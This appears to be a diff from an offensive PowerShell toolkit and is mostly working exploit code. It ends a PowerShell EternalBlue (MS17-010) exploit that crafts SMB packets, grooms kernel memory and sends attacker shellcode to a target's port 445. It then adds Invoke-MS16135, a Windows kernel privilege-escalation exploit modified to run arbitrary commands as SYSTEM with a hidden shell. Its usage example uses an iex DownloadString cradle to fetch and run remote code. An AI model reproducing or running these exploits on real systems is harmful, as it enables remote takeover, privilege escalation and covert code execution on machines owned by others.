|
||||||
|
$pkt += 0x01 # Max Setup Count
|
||||||
|
$pkt += 0x00,0x00 # Reserved
|
||||||
|
$pkt += 0x1e,0x00,0x00,0x00 # Total Param Count
|
||||||
|
$pkt += 0xd0,0x03,0x01,0x00 # Total Data Count
|
||||||
|
$pkt += 0x1e,0x00,0x00,0x00 # Max Param Count
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Max Data Count
|
||||||
|
$pkt += 0x1e,0x00,0x00,0x00 # Param Count
|
||||||
|
$pkt += 0x4b,0x00,0x00,0x00 # Param Offset
|
||||||
|
$pkt += 0xd0,0x03,0x00,0x00 # Data Count
|
||||||
|
$pkt += 0x68,0x00,0x00,0x00 # Data Offset
|
||||||
|
$pkt += 0x01 # Setup Count
|
||||||
|
$pkt += 0x00,0x00 # Function <unknown>
|
||||||
|
$pkt += 0x00,0x00 # Unknown NT transaction (0) setup
|
||||||
|
$pkt += 0xec,0x03 # Byte Count
|
||||||
|
$pkt += [Byte[]] (0x00) * 0x1f # NT Parameters
|
||||||
|
|
||||||
|
# undocumented
|
||||||
|
$pkt += 0x01
|
||||||
|
$pkt += [Byte[]](0x00) * 0x3cd
|
||||||
|
return $pkt
|
||||||
|
}
|
||||||
|
|
||||||
|
function make_smb1_free_hole_session_packet($flags2, $vcnum, $native_os) {
|
||||||
|
|
||||||
|
[Byte[]] $pkt = 0x00 # Session message
|
||||||
|
$pkt += 0x00,0x00,0x51 # length
|
||||||
|
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
||||||
|
$pkt += 0x73 # Session Setup AndX
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
||||||
|
$pkt += 0x18 # Flags
|
||||||
|
$pkt += $flags2 # Flags2
|
||||||
|
$pkt += 0x00,0x00 # PID High
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
||||||
|
$pkt += 0x00,0x00 # Reserved
|
||||||
|
$pkt += 0x00,0x00 # TreeID
|
||||||
|
$pkt += 0xff,0xfe # PID
|
||||||
|
$pkt += 0x00,0x00 # UserID
|
||||||
|
$pkt += 0x40,0x00 # MultiplexID
|
||||||
|
#$pkt += 0x00,0x00 # Reserved
|
||||||
|
|
||||||
|
$pkt += 0x0c # Word Count
|
||||||
|
$pkt += 0xff # No further commands
|
||||||
|
$pkt += 0x00 # Reserved
|
||||||
|
$pkt += 0x00,0x00 # AndXOffset
|
||||||
|
$pkt += 0x04,0x11 # Max Buffer
|
||||||
|
$pkt += 0x0a,0x00 # Max Mpx Count
|
||||||
|
$pkt += $vcnum # VC Number
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Session key
|
||||||
|
$pkt += 0x00,0x00 # Security blob length
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Reserved
|
||||||
|
$pkt += 0x00,0x00,0x00,0x80 # Capabilities
|
||||||
|
$pkt += 0x16,0x00 # Byte count
|
||||||
|
#$pkt += 0xf0 # Security Blob: <MISSING>
|
||||||
|
#$pkt += 0xff,0x00,0x00,0x00 # Native OS
|
||||||
|
#$pkt += 0x00,0x00 # Native LAN manager
|
||||||
|
#$pkt += 0x00,0x00 # Primary domain
|
||||||
|
$pkt += $native_os
|
||||||
|
$pkt += [Byte[]] (0x00) * 17 # Extra byte params
|
||||||
|
|
||||||
|
return $pkt
|
||||||
|
}
|
||||||
|
|
||||||
|
function make_smb1_anonymous_login_packet {
|
||||||
|
# Neither Rex nor RubySMB appear to support Anon login?
|
||||||
|
|
||||||
|
[Byte[]] $pkt = [Byte[]] (0x00) # Session message
|
||||||
|
$pkt += 0x00,0x00,0x88 # length
|
||||||
|
$pkt += 0xff,0x53,0x4D,0x42 # SMB1
|
||||||
|
$pkt += 0x73 # Session Setup AndX
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS
|
||||||
|
$pkt += 0x18 # Flags
|
||||||
|
$pkt += 0x07,0xc0 # Flags2
|
||||||
|
$pkt += 0x00,0x00 # PID High
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Signature1
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Signature2
|
||||||
|
$pkt += 0x00,0x00 # TreeID
|
||||||
|
$pkt += 0xff,0xfe # PID
|
||||||
|
$pkt += 0x00,0x00 # Reserved
|
||||||
|
$pkt += 0x00,0x00 # UserID
|
||||||
|
$pkt += 0x40,0x00 # MultiplexID
|
||||||
|
|
||||||
|
$pkt += 0x0d # Word Count
|
||||||
|
$pkt += 0xff # No further commands
|
||||||
|
$pkt += 0x00 # Reserved
|
||||||
|
$pkt += 0x88,0x00 # AndXOffset
|
||||||
|
$pkt += 0x04,0x11 # Max Buffer
|
||||||
|
$pkt += 0x0a,0x00 # Max Mpx Count
|
||||||
|
$pkt += 0x00,0x00 # VC Number
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Session key
|
||||||
|
$pkt += 0x01,0x00 # ANSI pw length
|
||||||
|
$pkt += 0x00,0x00 # Unicode pw length
|
||||||
|
$pkt += 0x00,0x00,0x00,0x00 # Reserved
|
||||||
|
$pkt += 0xd4,0x00,0x00,0x00 # Capabilities
|
||||||
|
$pkt += 0x4b,0x00 # Byte count
|
||||||
|
$pkt += 0x00 # ANSI pw
|
||||||
|
$pkt += 0x00,0x00 # Account name
|
||||||
|
$pkt += 0x00,0x00 # Domain name
|
||||||
|
|
||||||
|
# Windows 2000 2195
|
||||||
|
$pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
|
||||||
|
$pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x32,0x00,0x31,0x00,0x39,0x00,0x35,0x00
|
||||||
|
$pkt += 0x00,0x00
|
||||||
|
|
||||||
|
# Windows 2000 5.0
|
||||||
|
$pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32
|
||||||
|
$pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x35,0x00,0x2e,0x00,0x30,0x00,0x00,0x00
|
||||||
|
|
||||||
|
return $pkt
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function tree_connect_andx_request($Target, $userid) {
|
||||||
|
|
||||||
|
[Byte[]] $pkt = [Byte[]](0x00) #$pkt +=Message_Type'
|
||||||
|
$pkt +=0x00,0x00,0x47 #$pkt +=Length'
|
||||||
|
|
||||||
|
|
||||||
|
$pkt +=0xFF,0x53,0x4D,0x42 #$pkt +=server_component': .SMB
|
||||||
|
$pkt +=0x75 #$pkt +=smb_command': Tree Connect AndX
|
||||||
|
$pkt +=0x00,0x00,0x00,0x00 #$pkt +=nt_status'
|
||||||
|
$pkt +=0x18 #$pkt +=flags'
|
||||||
|
$pkt +=0x01,0x20 #$pkt +=flags2'
|
||||||
|
$pkt +=0x00,0x00 #$pkt +=process_id_high'
|
||||||
|
$pkt +=0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 #$pkt +=signature'
|
||||||
|
$pkt +=0x00,0x00 #$pkt +=reserved'
|
||||||
|
$pkt +=0x00,0x00 #$pkt +=tree_id'
|
||||||
|
$pkt +=0x2F,0x4B #$pkt +=process_id'
|
||||||
|
$pkt += $userid #$pkt +=user_id'
|
||||||
|
$pkt +=0xC5,0x5E #$pkt +=multiplex_id'
|
||||||
|
|
||||||
|
|
||||||
|
$ipc = "\\"+ $Target + "\IPC$"
|
||||||
|
|
||||||
|
$pkt +=0x04 # Word Count
|
||||||
|
$pkt +=0xFF # AndXCommand: No further commands
|
||||||
|
$pkt +=0x00 # Reserved
|
||||||
|
$pkt +=0x00,0x00 # AndXOffset
|
||||||
|
$pkt +=0x00,0x00 # Flags
|
||||||
|
$pkt +=0x01,0x00 # Password Length
|
||||||
|
$pkt +=0x1A,0x00 # Byte Count
|
||||||
|
$pkt +=0x00 # Password
|
||||||
|
$pkt += [system.Text.Encoding]::ASCII.GetBytes($ipc) # \,0xxx.xxx.xxx.xxx\IPC$
|
||||||
|
$pkt += 0x00 # null byte after ipc added by kev
|
||||||
|
|
||||||
|
$pkt += 0x3f,0x3f,0x3f,0x3f,0x3f,0x00 # Service
|
||||||
|
|
||||||
|
|
||||||
|
$len = $pkt.Length - 4
|
||||||
|
# netbios[1] =$pkt +=0x00' + struct.pack('>H length)
|
||||||
|
$hexlen = [bitconverter]::GetBytes($len)[-2..-4]
|
||||||
|
$pkt[1] = $hexlen[0]
|
||||||
|
$pkt[2] = $hexlen[1]
|
||||||
|
$pkt[3] = $hexlen[2]
|
||||||
|
return $pkt
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function smb_header($smbheader) {
|
||||||
|
|
||||||
|
$parsed_header =@{server_component=$smbheader[0..3];
|
||||||
|
smb_command=$smbheader[4];
|
||||||
|
error_class=$smbheader[5];
|
||||||
|
reserved1=$smbheader[6];
|
||||||
|
error_code=$smbheader[6..7];
|
||||||
|
flags=$smbheader[8];
|
||||||
|
flags2=$smbheader[9..10];
|
||||||
|
process_id_high=$smbheader[11..12];
|
||||||
|
signature=$smbheader[13..21];
|
||||||
|
reserved2=$smbheader[22..23];
|
||||||
|
tree_id=$smbheader[24..25];
|
||||||
|
process_id=$smbheader[26..27];
|
||||||
|
user_id=$smbheader[28..29];
|
||||||
|
multiplex_id=$smbheader[30..31];
|
||||||
|
}
|
||||||
|
return $parsed_header
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function smb1_get_response($sock){
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
$tcp_response = [Array]::CreateInstance("byte", 1024)
|
||||||
|
try{
|
||||||
|
$sock.Receive($tcp_response)| out-null
|
||||||
|
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
Write-Verbose "socket error, exploit may fail "
|
||||||
|
}
|
||||||
|
$netbios = $tcp_response[0..4]
|
||||||
|
$smb_header = $tcp_response[4..36] # SMB Header: 32 bytes
|
||||||
|
$parsed_header = smb_header($smb_header)
|
||||||
|
|
||||||
|
return $tcp_response, $parsed_header
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function client_negotiate($sock){
|
||||||
|
$raw_proto = negotiate_proto_request
|
||||||
|
$sock.Send($raw_proto) | out-null
|
||||||
|
return smb1_get_response($sock)
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function smb1_anonymous_login($sock){
|
||||||
|
$raw_proto = make_smb1_anonymous_login_packet
|
||||||
|
$sock.Send($raw_proto) | out-null
|
||||||
|
return smb1_get_response($sock)
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
function tree_connect_andx($sock, $Target, $userid){
|
||||||
|
$raw_proto = tree_connect_andx_request $Target $userid
|
||||||
|
$sock.Send($raw_proto) | out-null
|
||||||
|
return smb1_get_response($sock)
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function smb1_anonymous_connect_ipc($Target)
|
||||||
|
{
|
||||||
|
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
|
||||||
|
|
||||||
|
$sock = $client.Client
|
||||||
|
client_negotiate($sock) | Out-Null
|
||||||
|
|
||||||
|
$raw, $smbheader = smb1_anonymous_login $sock
|
||||||
|
|
||||||
|
$raw, $smbheader = tree_connect_andx $sock $Target $smbheader.user_id
|
||||||
|
|
||||||
|
|
||||||
|
return $smbheader, $sock
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function smb1_large_buffer($smbheader,$sock){
|
||||||
|
|
||||||
|
$nt_trans_pkt = make_smb1_nt_trans_packet $smbheader.tree_id $smbheader.user_id
|
||||||
|
|
||||||
|
# send NT Trans
|
||||||
|
|
||||||
|
$sock.Send($nt_trans_pkt) | out-null
|
||||||
|
|
||||||
|
$raw, $transheader = smb1_get_response($sock)
|
||||||
|
|
||||||
|
#initial trans2 request
|
||||||
|
$trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_zero" 0
|
||||||
|
|
||||||
|
#send all but the last packet
|
||||||
|
for($i =1; $i -le 14; $i++) {
|
||||||
|
$trans2_pkt_nulled += make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_buffer" $i
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
$trans2_pkt_nulled += make_smb1_echo_packet $smbheader.tree_id $smbheader.user_id
|
||||||
|
$sock.Send($trans2_pkt_nulled) | out-null
|
||||||
|
|
||||||
|
smb1_get_response($sock) | Out-Null
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function smb1_free_hole($start) {
|
||||||
|
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
|
||||||
|
|
||||||
|
$sock = $client.Client
|
||||||
|
client_negotiate($sock) | Out-Null
|
||||||
|
if($start) {
|
||||||
|
$pkt = make_smb1_free_hole_session_packet (0x07,0xc0) (0x2d,0x01) (0xf0,0xff,0x00,0x00,0x00)
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$pkt = make_smb1_free_hole_session_packet (0x07,0x40) (0x2c,0x01) (0xf8,0x87,0x00,0x00,0x00)
|
||||||
|
}
|
||||||
|
|
||||||
|
$sock.Send($pkt) | out-null
|
||||||
|
smb1_get_response($sock) | Out-Null
|
||||||
|
return $sock
|
||||||
|
}
|
||||||
|
|
||||||
|
function smb2_grooms($Target, $grooms, $payload_hdr_pkt, $groom_socks){
|
||||||
|
|
||||||
|
|
||||||
|
for($i =0; $i -lt $grooms; $i++)
|
||||||
|
{
|
||||||
|
$client = New-Object System.Net.Sockets.TcpClient($Target,445)
|
||||||
|
|
||||||
|
$gsock = $client.Client
|
||||||
|
$groom_socks += $gsock
|
||||||
|
$gsock.Send($payload_hdr_pkt) | out-null
|
||||||
|
|
||||||
|
}
|
||||||
|
return $groom_socks
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
function smb_eternalblue($Target, $grooms, $Shellcode) {
|
||||||
|
|
||||||
|
|
||||||
|
#replace null bytes with your shellcode
|
||||||
|
[Byte[]] $payload = [Byte[]]($Shellcode)
|
||||||
|
|
||||||
|
$shellcode = make_kernel_user_payload($payload)
|
||||||
|
$payload_hdr_pkt = make_smb2_payload_headers_packet
|
||||||
|
$payload_body_pkt = make_smb2_payload_body_packet($shellcode)
|
||||||
|
|
||||||
|
Write-Verbose "Connecting to target for activities"
|
||||||
|
$smbheader, $sock = smb1_anonymous_connect_ipc($Target)
|
||||||
|
$sock.ReceiveTimeout =2000
|
||||||
|
Write-Verbose "Connection established for exploitation."
|
||||||
|
# Step 2: Create a large SMB1 buffer
|
||||||
|
Write-Verbose "all but last fragment of exploit packet"
|
||||||
|
smb1_large_buffer $smbheader $sock
|
||||||
|
# Step 3: Groom the pool with payload packets, and open/close SMB1 packets
|
||||||
|
|
||||||
|
# initialize_groom_threads(ip, port, payload, grooms)
|
||||||
|
$fhs_sock = smb1_free_hole $true
|
||||||
|
$groom_socks =@()
|
||||||
|
$groom_socks = smb2_grooms $Target $grooms $payload_hdr_pkt $groom_socks
|
||||||
|
|
||||||
|
$fhf_sock = smb1_free_hole $false
|
||||||
|
|
||||||
|
$fhs_sock.Close() | Out-Null
|
||||||
|
|
||||||
|
$groom_socks = smb2_grooms $Target 6 $payload_hdr_pkt $groom_socks
|
||||||
|
|
||||||
|
$fhf_sock.Close() | out-null
|
||||||
|
|
||||||
|
Write-Verbose "Running final exploit packet"
|
||||||
|
|
||||||
|
$final_exploit_pkt = $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_exploit" 15
|
||||||
|
|
||||||
|
try{
|
||||||
|
$sock.Send($final_exploit_pkt) | Out-Null
|
||||||
|
$raw, $exploit_smb_header = smb1_get_response $sock
|
||||||
|
Write-Verbose ("SMB code: " + [System.BitConverter]::ToString($exploit_smb_header.error_code))
|
||||||
|
|
||||||
|
}
|
||||||
|
catch {
|
||||||
|
Write-Verbose "socket error, exploit may fail horribly"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
Write-Verbose "Send the payload with the grooms"
|
||||||
|
|
||||||
|
foreach ($gsock in $groom_socks)
|
||||||
|
{
|
||||||
|
$gsock.Send($payload_body_pkt[0..2919]) | out-null
|
||||||
|
}
|
||||||
|
foreach ($gsock in $groom_socks)
|
||||||
|
{
|
||||||
|
$gsock.Send($payload_body_pkt[2920..4072]) | out-null
|
||||||
|
}
|
||||||
|
foreach ($gsock in $groom_socks)
|
||||||
|
{
|
||||||
|
$gsock.Close() | out-null
|
||||||
|
}
|
||||||
|
|
||||||
|
$sock.Close()| out-null
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
$VerbosePreference = "continue"
|
||||||
|
for ($i=0; $i -lt $MaxAttempts; $i++) {
|
||||||
|
$grooms = $InitialGrooms + $GROOM_DELTA*$i
|
||||||
|
smb_eternalblue $Target $grooms $Shellcode
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
|
@ -0,0 +1,986 @@
|
||||||
|
function Invoke-MS16135 {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
PowerShell implementation of MS16-135 (CVE-2016-7255).
|
||||||
|
Discovered by Neel Mehta and Billy Leonard of Google Threat Analysis Group Feike Hacquebord, Peter Pi and Brooks Li of Trend Micro
|
||||||
|
Credit for the original PoC : TinySec (@TinySecEx)
|
||||||
|
Credit for the Powershell implementation : Ruben Boonen (@FuzzySec)
|
||||||
|
|
||||||
|
Targets:
|
||||||
|
|
||||||
|
* Win7-Win10 (x64 only)
|
||||||
|
|
||||||
|
Successfully tested on :
|
||||||
|
|
||||||
|
* Win7 x64
|
||||||
|
* Win8.1 x64
|
||||||
|
* Win10 x64
|
||||||
|
* Win2k12 R2 x64
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Author: Ruben Boonen (@FuzzySec)
|
||||||
|
Blog: http://www.fuzzysecurity.com/
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: PowerShell v2+
|
||||||
|
Optional Dependencies: None
|
||||||
|
|
||||||
|
EDIT: This script has been edited to include a parameter for custom commands and
|
||||||
|
also hides the spawned shell. Many comments have also been removed and echo has
|
||||||
|
moved to Write-Verbose. The original can be found at:
|
||||||
|
https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/MS16-135/MS16-135.ps1
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
C:\PS> Invoke-MS16135 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"
|
||||||
|
|
||||||
|
Description
|
||||||
|
-----------
|
||||||
|
Will run the iex download cradle as SYSTEM
|
||||||
|
|
||||||
|
#>
|
||||||
|
[CmdletBinding()]
|
||||||
|
param(
|
||||||
|
|
||||||
|
[Parameter(Position=0,Mandatory=$True)]
|
||||||
|
[String]
|
||||||
|
$Command
|
||||||
|
)
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition @"
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Security.Principal;
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct PROCESS_INFORMATION
|
||||||
|
{
|
||||||
|
public IntPtr hProcess;
|
||||||
|
public IntPtr hThread;
|
||||||
|
public int dwProcessId;
|
||||||
|
public int dwThreadId;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||||
|
public struct STARTUPINFO
|
||||||
|
{
|
||||||
|
public Int32 cb;
|
||||||
|
public string lpReserved;
|
||||||
|
public string lpDesktop;
|
||||||
|
public string lpTitle;
|
||||||
|
public Int32 dwX;
|
||||||
|
public Int32 dwY;
|
||||||
|
public Int32 dwXSize;
|
||||||
|
public Int32 dwYSize;
|
||||||
|
public Int32 dwXCountChars;
|
||||||
|
public Int32 dwYCountChars;
|
||||||
|
public Int32 dwFillAttribute;
|
||||||
|
public Int32 dwFlags;
|
||||||
|
public Int16 wShowWindow;
|
||||||
|
public Int16 cbReserved2;
|
||||||
|
public IntPtr lpReserved2;
|
||||||
|
public IntPtr hStdInput;
|
||||||
|
public IntPtr hStdOutput;
|
||||||
|
public IntPtr hStdError;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct SQOS
|
||||||
|
{
|
||||||
|
public int Length;
|
||||||
|
public int ImpersonationLevel;
|
||||||
|
public int ContextTrackingMode;
|
||||||
|
public bool EffectiveOnly;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Advapi32
|
||||||
|
{
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||||
|
public static extern bool CreateProcessWithLogonW(
|
||||||
|
String userName,
|
||||||
|
String domain,
|
||||||
|
String password,
|
||||||
|
int logonFlags,
|
||||||
|
String applicationName,
|
||||||
|
String commandLine,
|
||||||
|
int creationFlags,
|
||||||
|
int environment,
|
||||||
|
String currentDirectory,
|
||||||
|
ref STARTUPINFO startupInfo,
|
||||||
|
out PROCESS_INFORMATION processInformation);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true)]
|
||||||
|
public static extern bool SetThreadToken(
|
||||||
|
ref IntPtr Thread,
|
||||||
|
IntPtr Token);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true)]
|
||||||
|
public static extern bool OpenThreadToken(
|
||||||
|
IntPtr ThreadHandle,
|
||||||
|
int DesiredAccess,
|
||||||
|
bool OpenAsSelf,
|
||||||
|
out IntPtr TokenHandle);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true)]
|
||||||
|
public static extern bool OpenProcessToken(
|
||||||
|
IntPtr ProcessHandle,
|
||||||
|
int DesiredAccess,
|
||||||
|
ref IntPtr TokenHandle);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true)]
|
||||||
|
public extern static bool DuplicateToken(
|
||||||
|
IntPtr ExistingTokenHandle,
|
||||||
|
int SECURITY_IMPERSONATION_LEVEL,
|
||||||
|
ref IntPtr DuplicateTokenHandle);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class Kernel32
|
||||||
|
{
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
public static extern uint GetLastError();
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern IntPtr GetCurrentProcess();
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern IntPtr GetCurrentThread();
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern int GetThreadId(IntPtr hThread);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern int GetProcessIdOfThread(IntPtr handle);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll",SetLastError=true)]
|
||||||
|
public static extern int SuspendThread(IntPtr hThread);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll",SetLastError=true)]
|
||||||
|
public static extern int ResumeThread(IntPtr hThread);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern bool TerminateProcess(
|
||||||
|
IntPtr hProcess,
|
||||||
|
uint uExitCode);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern bool CloseHandle(IntPtr hObject);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern bool DuplicateHandle(
|
||||||
|
IntPtr hSourceProcessHandle,
|
||||||
|
IntPtr hSourceHandle,
|
||||||
|
IntPtr hTargetProcessHandle,
|
||||||
|
ref IntPtr lpTargetHandle,
|
||||||
|
int dwDesiredAccess,
|
||||||
|
bool bInheritHandle,
|
||||||
|
int dwOptions);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct INPUT
|
||||||
|
{
|
||||||
|
public int itype;
|
||||||
|
public KEYBDINPUT U;
|
||||||
|
public int Size;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct KEYBDINPUT
|
||||||
|
{
|
||||||
|
public UInt16 wVk;
|
||||||
|
public UInt16 wScan;
|
||||||
|
public uint dwFlags;
|
||||||
|
public int time;
|
||||||
|
public IntPtr dwExtraInfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct tagMSG
|
||||||
|
{
|
||||||
|
public IntPtr hwnd;
|
||||||
|
public UInt32 message;
|
||||||
|
public UIntPtr wParam;
|
||||||
|
public UIntPtr lParam;
|
||||||
|
public UInt32 time;
|
||||||
|
public POINT pt;
|
||||||
|
}
|
||||||
|
|
||||||
|
public struct POINT
|
||||||
|
{
|
||||||
|
public Int32 x;
|
||||||
|
public Int32 Y;
|
||||||
|
}
|
||||||
|
|
||||||
|
public class ms16135
|
||||||
|
{
|
||||||
|
delegate IntPtr WndProc(
|
||||||
|
IntPtr hWnd,
|
||||||
|
uint msg,
|
||||||
|
IntPtr wParam,
|
||||||
|
IntPtr lParam);
|
||||||
|
|
||||||
|
[System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
|
||||||
|
struct WNDCLASSEX
|
||||||
|
{
|
||||||
|
public uint cbSize;
|
||||||
|
public uint style;
|
||||||
|
public IntPtr lpfnWndProc;
|
||||||
|
public int cbClsExtra;
|
||||||
|
public int cbWndExtra;
|
||||||
|
public IntPtr hInstance;
|
||||||
|
public IntPtr hIcon;
|
||||||
|
public IntPtr hCursor;
|
||||||
|
public IntPtr hbrBackground;
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
public string lpszMenuName;
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
public string lpszClassName;
|
||||||
|
public IntPtr hIconSm;
|
||||||
|
}
|
||||||
|
|
||||||
|
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
|
||||||
|
static extern System.UInt16 RegisterClassW(
|
||||||
|
[System.Runtime.InteropServices.In] ref WNDCLASSEX lpWndClass);
|
||||||
|
|
||||||
|
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
|
||||||
|
public static extern IntPtr CreateWindowExW(
|
||||||
|
UInt32 dwExStyle,
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
string lpClassName,
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
string lpWindowName,
|
||||||
|
UInt32 dwStyle,
|
||||||
|
Int32 x,
|
||||||
|
Int32 y,
|
||||||
|
Int32 nWidth,
|
||||||
|
Int32 nHeight,
|
||||||
|
IntPtr hWndParent,
|
||||||
|
IntPtr hMenu,
|
||||||
|
IntPtr hInstance,
|
||||||
|
IntPtr lpParam);
|
||||||
|
|
||||||
|
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
|
||||||
|
static extern System.IntPtr DefWindowProcW(
|
||||||
|
IntPtr hWnd,
|
||||||
|
uint msg,
|
||||||
|
IntPtr wParam,
|
||||||
|
IntPtr lParam);
|
||||||
|
|
||||||
|
[System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)]
|
||||||
|
public static extern bool DestroyWindow(
|
||||||
|
IntPtr hWnd);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", SetLastError = true)]
|
||||||
|
public static extern bool UnregisterClass(
|
||||||
|
String lpClassName,
|
||||||
|
IntPtr hInstance);
|
||||||
|
|
||||||
|
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern IntPtr GetModuleHandleW(
|
||||||
|
[MarshalAs(UnmanagedType.LPWStr)]
|
||||||
|
String lpModuleName);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", EntryPoint="SetWindowLongPtr")]
|
||||||
|
public static extern IntPtr SetWindowLongPtr(
|
||||||
|
IntPtr hWnd,
|
||||||
|
int nIndex,
|
||||||
|
IntPtr dwNewLong);
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
public static extern bool ShowWindow(
|
||||||
|
IntPtr hWnd,
|
||||||
|
int nCmdShow);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", SetLastError = true)]
|
||||||
|
public static extern IntPtr SetParent(
|
||||||
|
IntPtr hWndChild,
|
||||||
|
IntPtr hWndNewParent);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", SetLastError = false)]
|
||||||
|
public static extern IntPtr GetDesktopWindow();
|
||||||
|
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
public static extern bool SetForegroundWindow(
|
||||||
|
IntPtr hWnd);
|
||||||
|
|
||||||
|
[DllImport("user32.dll", SetLastError=true)]
|
||||||
|
public static extern void SwitchToThisWindow(
|
||||||
|
IntPtr hWnd,
|
||||||
|
bool fAltTab);
|
||||||
|
|
||||||
|
